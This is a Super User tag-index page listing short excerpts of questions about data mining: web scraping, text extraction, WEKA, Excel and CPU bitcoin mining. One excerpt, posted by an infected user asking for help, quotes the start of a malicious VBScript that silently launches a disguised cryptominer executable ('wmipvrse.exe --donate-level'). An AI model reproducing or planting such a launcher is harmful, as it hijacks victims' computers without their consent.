Super User
Super User

Questions tagged [data-mining]

Data mining is the process of analyzing data from different perspectives and summarizing it into useful information.

14 questions
4
votes
2 answers

How can I scrape specific data from a website

I'm trying to scrape data from a website for research. The urls are nicely organized in an example.com/x format, with x as an ascending number and all of the pages are structured in the same way. I just need to grab certain headings and a few…
Stoney
  • 244
2
votes
2 answers

Is there any way to download the values of a public DB (ASP.NET) to hard drive?

I'm a social science researcher, and I'm working with data from various public databases of NGO, government, etc. Let's assume that I've got no opportunity to ask the admins for the whole database. However, if I have enough patience, I'm able to…
Übel Yildmar
  • 149
1
vote
1 answer

Is keeping cpu on %100 is dangerous?

I'm a bitcoin miner and my pc unfortunately doesn't support gpu mining (keeps crashing my drivers) so I use cpu mining. However, is keeping my cpu on %100 dangerous? I have a dell inspiron 3542 with i5-4210U. (1,7 to 2,7 ghz)
ave
  • 553
  • 1
  • 8
  • 19
1
vote
1 answer

API/Tool for mining unstructured text?

I wish to create a concepts map from unstructured text. For example Desired input: find "/" -name "*.txt" Desired output: concepts-graph.dot In other words, I want to mine my text files and create some kind of structured representation of key…
Sridhar Sarnobat
  • 1,552
1
vote
3 answers

what is the message "P.S We are running a small javascript miner...." on blogspot

I have created a blog to share some important question and answers with my friends. But when I open the blogspot link on edge browser it shows some abnormal behavior like computer becoming very slow. screenshot from edge browser I don't know what…
Rohit Jha
  • 68
0
votes
1 answer

Extract html text files to text file

I have a folder with lot of html files, I would like to extract only the text contained in the body of this html to a txt file, how can I do that ?
Meds
  • 389
0
votes
1 answer

Can't connect to mysql server from WEKA tool

I need to connect mysql server from my WEKA tool for analysis some of the data. How can i make this connection in Linux platform. I decide to use jdbc driver for this but setting up the environment is not easy for me! How do i do this?
Nifras Ismail
  • 111
  • 3
0
votes
1 answer

Hierarchical data structure in pivot - blank rows

I have a data set with a structure in style of: Fruit Type Organic Sales Banana 15 Apple Green Apple Organic 20 Apple Red Apple Non-Organic 25 Apple Red Apple Organic …
Myggen--
  • 1
0
votes
0 answers

My computer is infected from mining virus and giving me Windows script host error

The first error that I have got was Windows Script Host error described as C:\Windows\xdgaudio.vbs When I have located to the file the content was Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r…
Hamza Anis
  • 101
0
votes
1 answer

Page faults, strange memory behavior and page files - particularly but not specifically in R

I should say from the start, I am aware that I could probably do with some more RAM as I'm currently running RStudio on Windows 10 with 4GB of RAM installed. Neither is the post necessarily solely related to R but memory handling at large. Freshly…
bg49ag
  • 26
0
votes
0 answers

Excel data extractation remove words from cells and replace in another cell

I have data in a column called "company" it lists 3000 companies along with the company type - whether it is LLC, LP, Corp, etc. The format is like this: Microsoft_LLC_LLC. I want to remove the LLC portion and put it in another column called lets…
Clarisa
  • 15
0
votes
1 answer

Extract all text of specific font from MS Word document?

I have converted a PDF document to word format. The PDF is an issue of a magazine. I need all of the text that is a certain font, and either 9.5 or 10 point. Those are the contents of the articles, which I want to do text mining on (word…
Ted Smith
  • 1
-1
votes
3 answers

How to search and copy all the strings beginning with ( "http://www." ) on a particular website (1000 pages)?

I am looking for links (not urls of pages) written in job postings on a particular website. I would like to scan the website and copy all strings beginning with http or www on ALL the pages (about 1000) I am on windows 7. i dont know how to run…
M Singh
  • 21
-2
votes
2 answers

How can I scrape only word data from a website?

I want to download all the word content from a particular website. Save the results in MS Word, Excel or Notepad and check which words are repeated most often and how many times.
Staskata
  • 11